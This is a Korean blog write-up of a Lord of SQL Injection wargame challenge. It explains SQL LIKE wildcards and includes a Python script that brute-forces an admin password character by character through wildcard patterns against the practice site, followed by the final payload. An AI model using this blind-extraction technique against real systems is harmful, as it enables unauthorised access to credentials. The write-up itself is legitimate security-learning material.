보안 공부/Load of SQL injection

[Load of SQL Injection] Assassin(SQL like wildkard)

sh1256 2022. 1. 29. 19:45
728x90

 

문제를 보면 평소와 다르게 '='(등호)를 쓰지 않고 'like'를 쓰고 있다. 

평소에 like는 '='의 우회 용도로만 썼던 터라 이게 뭔지 했지만 like 문법에 대해서 잠깐만이라도 검색해 보면 

like에 와일드 카드가 있다는 것을 알 수 있다. 

 

 

 

SQL like 사용법, 문법, 와일드카드

% 문자가 없거나, 한 글자 이상의 문자열    (ex: (공백), a, asdfsdf~)
_ 한 글자의 문자  (ex: a, b, 1)
5% 5로 시작하는 문자열   (ex: 5, 5dsdf~)
%5 5로 끝나는 문자열   (ex: 5, dsdf~5)
_5% 두번째 자리가 5인 문자열   (ex: 25, 85ieds)
_2_5% 두번째 자리가 2, 네번째 자리가 5인 문자열    (ex: 6245, i2u5wis~)
______(언더바 6개) 6자리 문자열   (ex: 123456, abcdef)

이 외에 [], -, ^를 쓰는 방법이 있으나 이번 문제에는 쓰이지 않습니다. 

like의 사용에 대해서 더 알고 싶거나 예시를 더 보고 싶으신 분들은 아래 링크를 참고해 주세요.

https://audgnssweet.tistory.com/65

 

(MySQL) 와일드카드 기반 like 검색과 예시

훈수/저작권 관련 지적 환영합니다 - 댓글 또는 audgnssweet@naver.com 와일드카드, like 검색 Like 검색은 조건 검색을 할 때 특정 column의 데이터가 특정 패턴을 포함하고 있는지 검색할 때 사용합니다. l

audgnssweet.tistory.com

 

 

 

자 그럼 admin의 pw 자릿수를 얻어 봅시다. 

URL+ ?pw=_______  (언더바 8개)

입력 결과: Hello guest

 

입력 결과 Hello guest지만, 부등호도 넣어가며 다른 값을 시도한 결과, 

admin의 pw길이는 guest와 같기 때문에, table에 값이 먼저 들어간 guest로 출력된 다는 것을 알게 되었습니다.

 

PW길이 =8

 

각 자리의 글자는, 파이썬을 이용해 찾았습니다. 

import requests
cookies={'PHPSESSID':'쿠키값'}
url ="https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw="
length=0

for i in range(1, 9):
    
    for j in range(48, 90):#숫자부터 대문자z까지
            
        search_str=('_')*(i-1)+chr(j)+'%'
        #print("search_str: "+search_str)
        response= requests.get(url+search_str, cookies=cookies)
        #print(response.text)
        
        if response.text.find("Hello admin") !=-1:
            print(f"found in admin-{i}번째: "+chr(j))
            break
            
        if response.text.find("Hello guest") !=-1:
            print(f"found in guest-{i}번째: "+chr(j))
            break

 

1. pw=9% --> Hello guest 출력

2. pw=_0% --> Hello guest 출력

3. pw=__2% --> Hello admin 출력

 

위의 값을 표로 정리하자면, 

guest의 pw 90______
admin의 pw 902_____

 

 

즉, admin'pw와 guest'pw 가 각 자리수에 같은 번호가 있다면 Hello guest로 출력된다는 것을 조심해야 합니다. 

 

 

URL + ?pw=902% 입력

성공!